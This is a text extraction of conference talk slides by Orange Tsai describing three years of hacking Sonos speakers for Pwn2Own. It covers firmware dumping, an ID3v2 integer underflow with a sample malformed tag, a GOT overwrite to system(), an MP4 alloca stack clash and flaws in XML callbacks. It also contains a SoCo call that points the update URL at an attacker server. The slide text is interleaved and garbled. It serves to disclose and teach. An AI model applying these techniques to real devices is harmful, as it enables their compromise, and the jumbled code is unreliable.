2023 A 3 Years Tale of Hacking A Pwn2Own Target
2023 A 3 Years Tale of Hacking A Pwn2Own Target
Pwn2Own Target
The Attacks, Vendor Evolution, and Lesson Learned
Orange Tsai
About This Talk
• Side story while doing Vulnerability Research
1. Not just about how to reverse, how to exploit or 0day show-off
2. More focused on thoughts, attempts and self-introspections
while researching the target
sonos-2022:
…
Orange Tsai
• Specialize in Web and Application Vulnerability Research
• Principal Security Researcher of DEVCORE
• Speaker at Numerous Top Hacker Conferences
• Trust-Zone Attacks:
• Smart Speaker Shenanigans by @bl4sty
Why I am Targeting Sonos?
1. Would like to try something different
2. High rewards and no one has pwned it before
15
We start reviewing OCT
zone = SoCo('192.168.12.34')
zone.volume += 10
zone.play_uri('http://t.co/music.mp3')
zone.get_current_track_info()['title']
SoCo: Sonos Controller
from soco import SoCo
zone = SoCo('192.168.12.34')
zone.volume += 10
zone.play_uri('http://t.co/music.mp3')
zone.get_current_track_info()['title']
BeginSoftwareUpdate?
from soco import SoCo
zone = SoCo('192.168.12.34')
zone.zoneGroupTopology.BeginSoftwareUpdate((
['UpdateURL', 'https://<my-server>/'],
['Flags', 1],
['ExtraOptions', '']
))
orange@work:~$ sudo ncat -lp 80
GET /?cmaj=71&cmin=1&cbld=... HTTP/1.1
Host: 10.26.0.34
User-Agent
User-Agent:
: Wget
Connection: close
Collecting Firmwares
• Few firmwares are available on the Internet
• Newer firmwares are not binwalk-able :(
• Brute-forcing download URLs (but we failed)
• The newest and binwalk-able firmware version is 45.1-56150, which is
released on 2018-08-15
http://update-firmware.sonos.com/firmware/Prod/
57.16-41110-v11.9-wzhipjet-GA-1/^57.16-41110
read(2) / write(2)
execve(2) execve(2)
/bin/upgrade
read(2)
/bin/anacapad /sbin/wget
write(2)
/var/run/upgradeinfo
Attacking Firmware OTA
• Our attempts:
1. SSRF!
∟ Can't locate a good local service to exploit :(
4. Firmware parser
Attacking Firmware OTA
• Our attempts:
1. SSRF!
❌
∟ Can't locate a good local service to exploit :(
$5$NeHanrecdehym$x9aL.1kgod2FMyYGKajtuJztE/cy4O2GY64dhTwMTGD
2. Wget (bundled in BusyBox) CVEs / Vulnerabilities
❌
3. Firmware encapsulating attacks
❌
∟ Backdooring - Signed with an RSA key stored in the Secure Storage
∟ Downgrading- Protected with a SHA-256 Crypt hash
4.
❔ Firmware parser
Exploiting Firmware Parser
• Just like traditional CTF challenge
∟ Standalone binary parsing customized formats…
11
AUG ZDI announced the
Pwn2Own targets 03
DEVCORE starts SEP
reviewing Sonos
3 Months
01
NOV End of Pwn2Own the
Registration
Dumping the Firmware
• Hardware: Purchased the USB3380 Evaluation Board
∟ Mostly sold out, but luckily one of the reseller is based in Taiwan
∟ Got within 24 hours
• Software: Perform the DMA Attack by @ufrisk/PCILeech
∟ Stuck for an entire week
MY USB3380EVB
"The USB interface of the USB3380 is however disabled by default
and the device would need to be flashed before it's enabled"
Struggling with USB3380EVB
• Flashing USB3380EVB:
∟ Hard to find mini PCIe to Micro USB adaptor
∟ Personal Computer only has PCIe x1, x4, x8, and x16 slots
∟ Modern Laptop only has M.2 slots
No bug? WTF
Hope Maybe... a bug?
No bug? WTF
Hope Maybe... a bug?
1 2 3 4 5 6 7 8 9 10
ID3 magic version revision flags ID3 size
frame name frame size frame flags
frame data
2021 - My Real Bug
• A bug triggered while parsing a malformed ID3v2 tag
∟ An ID3v2 tag consists of multiple frames such as TPE1/COMM
∟ Integer Underflow due to the calculation of `sizeof(string) - 1`
1 2 3 4 5 6 7 8 9 10
"ID3" 03 00 BF 00 00 1234
"TPE1" 00 00 00 00. 03 03
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…"
size_t string_len = frame->size - 1; // underflow
2021 - My Real Bug
if (obj->unsynchronised_flag) {
if (string_len > obj->id3_size) goto fail;
• The bug happened whiling parsing an mp3 ID3v2 tag
ret = obj->mp3_read(obj, buffer, string_len);
• An ID3v2 tag can contain multiple frames such as COMM / TALB
} else {
• Integer
whileunderflow when the unsynchronisation
(obj->id3_size && string_len) flag is{set to 0
if (!obj->mp3_read(obj, buffer, 1))
1 2 3 4 5 6 7 8 9 10
"ID3" goto fail;
03 00 0xbf 0x1234
*buffer++;
"TPE1" 0x00 0x0303
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…"
obj->id3_size--; string_len--;
}
}
WHEN YOUR CAT IS PLAYING OVERFLOW
2021 - My Real Bug
• Replaced the GOT of `strcasecmp` to `system` to execute commands
∟ Really Easy!
Summarize Our Second Year
1. A good attack surface achieves twice results with half
the effort
2. Self-reflections:
∟ Spent too much time blindly trying on the wrong path :(
∟ Perhaps I should give fuzzing a try?
∟ Always read the manual carefully…😅
Pwn2Own Toronto 2022
• Why are you targeting Sonos again and again?
∟ Low cost, high return! This year must be the same 🤑
∟ 2020: 2 weeks black-boxing
∟ 2021: 1 week for hardware + 2 weeks for reversing/exploiting = 60K USD
∟ 2022: (Spoiler) Spend FULL THREE MONTHS on this target…
Pwn2Own Toronto 2022
• Before the competition, I am chatting with @FidgetingBits at
HITCON CMT 2022:
WTF?
2022 - Our Third Year
• Continue to explore our last year's good attack surface
2022 - Our Third Year
• Arbitrary size alloca(3) while parsing MP4 FTYP box
┌─────────────────────┐
| Box Header |
| Size (4) | Type (4) | Box Header = 8 Bytes
| --------------------|
| Box Data (N) | Box Data = N Bytes
└─────────────────────┘
└─────────── Box Size = 8 + N bytes
2022 - Our Third Year
bool mp4_parse_ftyp(void *ctx, void *s, size_t box_size)
{
if ( box_size
• Arbitrary > 7 ) {while parsing MP4 FTYP box
size alloca(3)
rsize = s->read_mp4(stream, tmp, 8);
if ( rsize == 8 ) {
┌─────────────────────┐
box_size = box_size - 8;
| char *buffer
Box Header |
= alloca(box_size);
| Size (4) | Type (4) | Box Header = 8 Bytes
rsize = s->read_mp4(stream, buffer, box_size);
| --------------------|
}
| Box Data (N) | Box Data = N Bytes
} └─────────────────────┘
} └─────────── Box Size = 8 + N bytes
Arbitrary Size alloca(3)?
0
Unused
Local Variable
Current Stack Frame
Return Address
Local Variable
Caller's Stack Frame
Unused
Stack Pointer
size_t rzie
char tmp[8]
Current Stack Frame
Stack Canary
Return Address
Local Variable
Caller's Stack Frame
size_t rzie
Current Stack Frame
char tmp[8]
Stack Canary
Return Address
Local Variable
Caller's Stack Frame
size_t rzie
Current Stack Frame
char tmp[8]
Stack Canary
Return Address
Local Variable
Caller's Stack Frame
Unused
AAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA
Stack Pointer
size_t rzie
char tmp[8]
Current Stack Frame
Stack Canary
Return Address
Local Variable
Caller's Stack Frame
Guard Page
Thread Stack
Guard Page
Guard Page
Thread Stack
Current Thread Stack
Guard Page
Thread Stack
Guard Page
Thread Stack
Guard Page
void XML_SetElementHandler(
XML_Parser p,
XML_StartElementHandler start, // user callback
XML_EndElementHandler end // user callback
);
Insecure Callbacks
void start(void *userData, char *tag_name, char **attrs) {
if (!strcmp(tag_name, "block")) {
userData->block_index += 1;
if (userData->block_index > 10)
return;
else
• XML Parser: libexpat
userData->blocks[block_index] = (Block *)malloc(0x4070);
} else if (!strcmp(tag_name, "param")) {
∟ Assume
block =it's safe because it is used worldwide
userData->blocks[userData->block_index];
strlcpy(block->names[userData->param_count], name, name_len);
∟ But is its usage also?
strlcpy(block->values[userData->param_count], val, val_len);
}
void XML_SetElementHandler(XML_Parser p,
}
XML_StartElementHandler start,
XML_EndElementHandler
void end(void *userData, char *tag_name) { end);
// handle close tag…
}
Insecure Callbacks
<root>
<block>
<param AAA="BBB">FOO</param>
• XML Parser: libexpat
<param CCC="DDD">BAR</param>
∟ Assume it's
</block>
safe because it is used worldwide
∟ But is its usage also?
<block>
<param EEE="FFF">BAZ</param>
void XML_SetElementHandler(XML_Parser
</block> p,
</root> XML_StartElementHandler start,
XML_EndElementHandler end);
<root>
Insecure Callbacks
<block>
<block>
<block>
<block>
...
<block>
• XML Parser: libexpat <block>
<block>
∟ Assume it's safe because it is used worldwide
<param AAA="BBB">FOO</param>
∟ But is its usage also? <param CCC="DDD">BAR</param>
</block>
</block>
void XML_SetElementHandler(XML_Parser
</block> p,
... XML_StartElementHandler start,
</block> XML_EndElementHandler end);
</block>
</block>
</block>
</root>
2022 - Our Third Year
• Bugs:
1. Arbitrary size alloca(3) leads to Stack Clash (silent fixed)
∟ Transform to Read/Write primitive by delaying the DNS response
Insecure Callbacks
useragent = get_header(request, "user-agent");
size = __snprintf_chk(buffer, 4096, 1, 4096,
"POST %s HTTP/1.1\r\n"
"CONNECTION: close\r\n"
"HOST: %s:%d\r\n"
"USER-AGENT: %s\r\n"
• XML Parser: libexpat
"CONTENT-LENGTH: %zu\r\n"
"CONTENT-TYPE: text/xml; charset=\"utf-8\"\r\n"
∟ Assume it's safe because it is used worldwide
"SOAPACTION: %s\r\n"
∟ But is"\r\n",
its usage also?
path,
host,
void XML_SetElementHandler(XML_Parser
port, p,
useragent, XML_StartElementHandler start,
body_size, XML_EndElementHandler end);
soapaction);
str.data = buffer;
str.size = size;
send_request(&client, &str, 1, NULL, NULL, …)
2022 - Our Third Year
• Bugs:
1. Arbitrary size alloca(3) leads to Stack Clash (silent fixed)
∟ Transform to Read/Write primitive by delaying the DNS response
https://blog.orange.tw